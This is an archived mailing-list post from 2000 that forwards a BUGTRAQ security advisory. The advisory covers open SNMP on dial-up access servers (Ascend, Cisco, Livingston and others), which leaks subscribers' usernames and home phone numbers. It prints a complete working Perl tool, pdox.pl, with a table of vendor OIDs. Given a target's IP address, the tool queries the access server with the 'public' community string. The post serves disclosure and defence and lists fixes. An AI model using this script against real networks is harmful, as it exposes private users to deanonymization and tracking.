Real Time Ascend Maling List Archive
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
(ASCEND) Be careful how you allow access to SNMP on Ascend hardware
I got this security advisory off the BUGTRAQ mailing list.
In short, this security advisory points out that, given a dial-up user's
IP address, you can pretty easily determine the RAS that he's dialed
into. Given that many RASs are configured to allow SNMP read access
from anywhere with public community string, you have a better than
average chance of being able to query the RAS and determine "private"
information about the dial-up user. Since most RASs maintain
caller-ID info for authentication and/or auditing, you can possibly
determine the phone number of the dialed in user.
Doing an snmpwalk on .1.3.6.1.4.1.529.eventGroup.4.1.19 on our Max
4048 and Max 1800 shows some dial-in user's phone numbers. (Don't ask me
why my snmp console can reference "eventGroup" but not decode the rest
of the mib.)
I have not been able to associate phone numbers with IP address, but I
only played with it for a little while and did not construct the
entire Ascend mib. The information stored in the above mib seems to
be historical data (log files?), which is worse since you could
conceivable retreive home phone numbers of callers that are no longer
connected.
This "vulnerability" is nothing new, but since the advisory is
floating around and will undoubtably bring attention to this
situation, you might want to double check your snmp config and
evaluate if you really want to be running SNMP in such a way that
anyone can query your RAS with a "public" community string.
Here's the original bulletin.
===========================================================================
Date: Wed, 19 Apr 2000 08:08:39 -0400
From: JavaMan <javaman@GHETTO.ORG>
Subject: Network Security and Privacy
Brief Preface:
We have found that three major backbone providers are vunerable to this
sort of probing. When notified, they locked down their network, and
threatened legal action if their names were mentioned in a bugtraq post.
Javaman
----
Title: Lack of Network Security and Privacy Implications
Authors: Lumpy and Javaman, of Philtered.Net
Abstract:
Introduction:
Although prized by many users of the Internet, the concept of privacy
has been threatened from many angles in recent years. With the rise of free
web-based e-mail and advertisement-sponsored dialup, users have been providing
more personal information about their shopping habits and interests, but rarely
anything that can trace them to their real-life identity, such as a Internet
login name, real name, home phone number, or SSN. A team from Philtered.Net
has recently found that this has not been the case for many years. Due to
security issues that have been long known and long unresolved on the network
level, it is possible to retrieve a user's ISP login name remotely, and on
some pieces of hardware, their home phone number, without their knowledge.
The only information required to preform this transaction is the user's IP
address, which can be retrieved via logs of recently visited web pages, or,
not surprisingly, from the headers of e-mails sent via services such as
HotMail.
In our eyes, this is a problem.
Background:
Every machine on the Internet, short of some private networks, is
addressed via an IP address. This IP address is a unique identity for the
computer for the duration of connection to the network. When communication
with another system on the Internet is conducted, each packet sent is tagged
with the recipient and the sender's IP address. Consequently, it is
possible to route backwards to the end user's machine. This is not important
for our discussion.
Enter SNMP, the Simple Network Management Protocol. This protocol
allows users of network equipment, (ie. Network Administrators), to remotely
query the state of the machine to test for system load, utilization, and
configuration. This technique facilitates centralized network monitoring, an
important capability for high-reliability networks.
The problem, however, is that many of those who run these networks
neglected to provide for the proper security restrictions. Because of this,
remote unauthorized users can query the state of private networks.
This is not a new problem. This is a very old issue that has been
ignored for too long. What is new, however, is the large number of users who
are now on dialup access, and consequently, dialed into unsecured servers.
Additionally, no one released a tool that specifically targets
personal information in this way -- until now.
A member of Phitered.Net has written a tool using Perl and the
CMU-SNMP library that can extract personal information of the end user via
connecting to their network access server. This also means that no connection
to the end user is ever made; the only network connection made is to the
first machine after the end user.
Detail:
To show how simple it is to gain information, via the Internet,
based simply on their current IP address, here is a step by step description
on how we might gain personal information about a user with the IP
address 1.2.3.4. It is important to note that in most cases our target
will not even know that they are a target of inquiry, since the procedure
does not specify for any packets to be sent to their personal computer.
For the most simple attack, we need to know the address of the
device that our target is connected through, that is to say, the first
machine that each packet to the Internet is being routed through. If we
executed a 'traceroute' to the users address, they could surely see our
traffic. However, because most of the end user access devices (ie terminal
servers, DSL access units) handle many users, it is usually possible to
trace to an IP address just one or two addresses from our target. In this
case, we will trace to 1.2.3.5.
Our theoritical traceroute shows us that the hop just before 1.2.3.4
should be 1.2.3.1. If SNMP is enabled on this device, it is often possible
to locate both the username and phone number of the end user. The phone
number and username are extracted from the MIB from the end user device.
By requesting the system description of the end unit via SNMP, we can
quickly locate the MIB, the connected client's address table. Once we know
where the IP address of our target is located in the table, we can use its
location in that table to determine other relevant information about the
end user.
The theoritical attacker can often determine the speed and type of
connection, the username used on the ISP, idle time, time online, and
most disturbingly, other personal information, such as the phone number of
the end user.
In some cases, the MIB is also writable by remote users. In this
situation, remote users can maliciously disconnect the end user, or alter
their data routes. In some cases, the entire device that the end user is
connected to can be powered down or rebooted.
Testing if you are vunerable:
Below is the Perl scipt we used to demonstrate the issue.
Please use this to only test your own network.
--- Start of pdox.pl ---
#!/usr/bin/perl
#
## By: lumpy_
#
## Description:
## Polls SNMP data on terminal servers.
#
## Requires:
##
## UCD-SNMP
## - By: Wes Hardaker
## - ftp://ucd-snmp.ucdavis.edu:/ucd-snmp.tar.gz
## Net::SNMP
## - By: David M. Town
## - ../CPAN/modules/by-module/Net/Net-SNMP-2.00.tar.gz
#
## Many thanks to:
## Javaman, Sangfroid, miff, floydy, negapluck, sirsyko, hyenur, and hal
##
#
use Net::SNMP;
sub syntax {
print "Syntax:\n\tpdox _NAS_DEVICE_ _IP_ [community]\n\n";
exit(1);
}
sub snmpget {
($oid_to_get)=@_;
($session, $error) = Net::SNMP->session(
Hostname => $hostname, Community => $community, Port => $port );
if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
if (!defined($response = $session->get_request($oid_to_get))) {
printf("## %s\n", $session->error); $session->close;exit(1);}
$retval=$response->{$oid_to_get};
$session->close;
$retval=unpack("A*",pack("H*",$retval)) if (retval =~ /^0x/);
return($retval);
}
sub snmpwalk {
($oid_to_get)=@_;
($session, $error) = Net::SNMP->session(
Hostname => $hostname, Community => $community, Port => $port );
if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
if (!defined($response = $session->get_table($oid_to_get))) {
printf("## %s\n", $session->error); $session->close;exit(1);}
$retval=$response;
$session->close;
return($retval);
}
## Main
$hostname = @ARGV[0];
$ip_were_hunting = @ARGV[1];
$community = @ARGV[2] || 'public';
$port = 161;
if (!$hostname || !$ip_were_hunting) { syntax; }
print "\n### pdox 2.0\n";
$sysdesc=snmpget('1.3.6.1.2.1.1.1.0');
print "## Got System Description: ",substr($sysdesc,0,50),"\n";
$found=0;
open(DAT,"pdox.dat");
while(<DAT>) {
next if (/^#/);
@parts=split;
if ($sysdesc =~ /@parts[0]/i) {$found++; last;}
}
if (!($found)) { print "## Unsupported device!\n"; exit(1); }
$userlist=snmpwalk(@parts[1]);
$found=0;
foreach ( sort keys %$response ) {
if ($response->{$_} eq $ip_were_hunting)
{$location=$_; substr($location,0,length(@parts[1]))=""; $found++;
print "## Found $ip_were_hunting in mib. location: $location\n";
}
}
if (!($found)) { print "## Couldnt find user in mib!\n"; exit(1); }
if (defined(@parts[2])) {
print "## Username: ",snmpget(@parts[2].$location),"\n";}
if (defined(@parts[3])) {
print "## Phone: ",snmpget(@parts[3].$location),"\n";}
print "\n";
exit 0;
--- End of pdox.pl ---
--- Start of pdox.dat ---
#Vendor User Address Phone
livingston 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4
lucent 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4
ascend 1.3.6.1.4.1.529.12.2.1.4 1.3.6.1.4.1.529.12.2.1.3
nortel 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4
shiva 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4
cisco 1.3.6.1.4.1.9.10.19.1.3.1.1.4 1.3.6.1.4.1.9.10.19.1.3.1.1.3
annex-pri 1.3.6.1.4.1.15.2.11.3.1.6 1.3.6.1.4.1.15.2.16.1.1.1.1 1.3.6.1.4.1.15.2.16.1.1.1.2
annex 1.3.6.1.4.1.15.2.3.7.1.51 1.3.6.1.4.1.15.2.3.8.1.2
hiper 1.3.6.1.4.1.429.4.11.2.2.1.7 1.3.6.1.4.1.429.4.11.2.1.1.3
cvx .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 .1.3.6.1.4.1.2637.2.2.101.1.29
aptis .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 .1.3.6.1.4.1.2637.2.2.101.1.29
--- End of pdox.dat ---
Fix:
- Block SNMP access.
- Change community names.
- Filter access to network hardware.
Conclusion:
It is important to note that these security holes are as easy to
exploit on DSL connections as they are wit dialup connections.
These problems are easily located by security scanning
software. ISPs need to be aware that they are not exempt from
needing constant security audits in order to ensure QoS.
Lumpy, Javaman
===========================================================================
--
Earl Barfield -- Operations Department / Information Technology
Georgia Institute of Technology, Atlanta Georgia, 30332
Internet: Earl.Barfield@oit.gatech.edu earl@prism.gatech.edu
earl@fantasy.gatech.edu earl@oit.gatech.edu
++ Ascend Users Mailing List ++
To unsubscribe: send unsubscribe to ascend-users-request@bungi.com
To get FAQ'd: <http://www.nealis.net/ascend/faq>